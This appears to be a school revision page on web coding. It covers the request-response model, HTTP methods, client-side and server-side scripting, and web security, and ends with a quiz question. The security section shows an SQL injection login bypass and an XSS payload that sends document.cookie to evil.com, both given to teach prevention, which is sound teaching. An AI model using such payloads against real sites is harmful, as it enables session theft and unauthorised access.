D4 · Coding for the Web

Spec reference: Section D - Programming Languages
Key idea: Understand how web applications work - client/server model, client-side vs server-side scripting, and web security.

---

The request-response model

Every time you visit a website, your browser and a web server exchange messages using the request-response model:

[Browser / Client]                    [Web Server]
       │                                    │
       │ ── HTTP Request (GET /index.html) ──▶│
       │                                    │
       │ ◀── HTTP Response (200 OK + HTML) ──│
       │                                    │
       │ Renders HTML/CSS/JS                │

Steps:

1. User types a URL or clicks a link.
2. Browser sends an HTTP request to the server.
3. Server processes the request.
4. Server sends an HTTP response - usually HTML, CSS, and JavaScript.
5. Browser renders the page.

HTTP methods

Method	Used for
GET	Retrieve a resource (view a page, load an image)
POST	Send data to the server (submit a form, log in)
PUT	Update an existing resource
DELETE	Remove a resource

HTTP status codes

Code	Meaning
200	OK - request succeeded
301	Moved permanently - redirected
404	Not found - resource doesn't exist
500	Internal server error - server-side problem

---

Client-side processing and scripting

Client-side code runs in the user's browser, not on the server.

Aspect	Detail
Language	HTML, CSS, JavaScript
Runs on	The user's device (browser)
Access to	DOM (page structure), browser APIs, local storage
Cannot access	Server databases, private server-side data

Uses of client-side scripting

• Form validation - checking fields before submitting (saves a server round-trip).
• Dynamic content - updating the page without reloading (e.g. showing/hiding a menu).
• Animations and visual effects - CSS transitions, JS canvas.
• Fetching data asynchronously - AJAX / Fetch API to load data without reloading the page.

// JavaScript  -  client-side validation
function validateForm() {
    const name = document.getElementById("name").value;
    if (name === "") {
        alert("Name cannot be empty!");
        return false;   // stop form submission
    }
    return true;
}

Implications of client-side scripting

Advantage	Disadvantage
Fast - no server round-trip needed	Code is visible to the user (security risk)
Reduces server load	Relies on the user's browser supporting JavaScript
Responsive user experience	Cannot securely access databases

---

Server-side processing and scripting

Server-side code runs on the web server, hidden from the user.

Aspect	Detail
Languages	Python (Django/Flask), PHP, Node.js, Ruby, Java
Runs on	The web server
Access to	Databases, file system, APIs, private business logic
User sees	Only the resulting HTML output - not the source code

Uses of server-side scripting

• Database queries - retrieving and storing user data.
• Authentication - verifying usernames and passwords securely.
• Generating dynamic pages - personalised content for each user.
• Processing payments - securely handling financial transactions.

# Python Flask  -  server-side route (simplified)
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = db.query("SELECT * FROM users WHERE username=?", username)
    if user and check_password(password, user.password_hash):
        session['user'] = username
        return redirect('/dashboard')
    return "Invalid credentials", 401

Implications of server-side scripting

Advantage	Disadvantage
Code is hidden - more secure	Every request needs a server round-trip (slower)
Can access databases and sensitive data	Higher server load
Consistent - same result regardless of browser	More complex to deploy and maintain

---

Client-side vs server-side comparison

	Client-side	Server-side
Runs on	Browser	Web server
Languages	HTML, CSS, JavaScript	Python, PHP, Node.js, etc.
Can access database?	No	Yes
Code visible to user?	Yes	No
Reduces server load?	Yes	No
Best for	UI interaction, validation, effects	Auth, database, business logic

---

Web security

Web applications face several threats:

SQL Injection

Attackers insert malicious SQL code into form inputs:

-- Vulnerable query (never do this):
SELECT * FROM users WHERE username='alice' AND password='x OR 1=1'
-- The 1=1 always evaluates true → bypasses login!

-- Safe: use parameterised queries
SELECT * FROM users WHERE username=? AND password=?

Cross-Site Scripting (XSS)

Attackers inject malicious JavaScript into a website that then runs in other users' browsers:

<!-- If user input is not sanitised, an attacker might submit: -->
<script>document.location='http://evil.com/steal?c='+document.cookie</script>

Prevention: Sanitise/escape all user input before displaying it.

HTTPS and SSL/TLS

• HTTP sends data in plaintext - anyone can intercept it.
• HTTPS encrypts the connection using SSL/TLS - data is unreadable to attackers.
• All websites handling login or payment data must use HTTPS.

---

Issues and implications of web coding

Issue	Detail
Accessibility	Must work for users with disabilities - screen readers, keyboard navigation, sufficient colour contrast
Cross-browser compatibility	Code must work on Chrome, Firefox, Safari, Edge, etc.
Responsive design	Must work on mobile, tablet and desktop (different screen sizes)
Performance	Large JavaScript files slow page loads - minify and optimise
Privacy (GDPR)	Must handle user data lawfully - consent, data minimisation, right to erasure

---

Test Yourself

Question 1 of 5

In the request-response model, which HTTP method is typically used when a user submits a login form?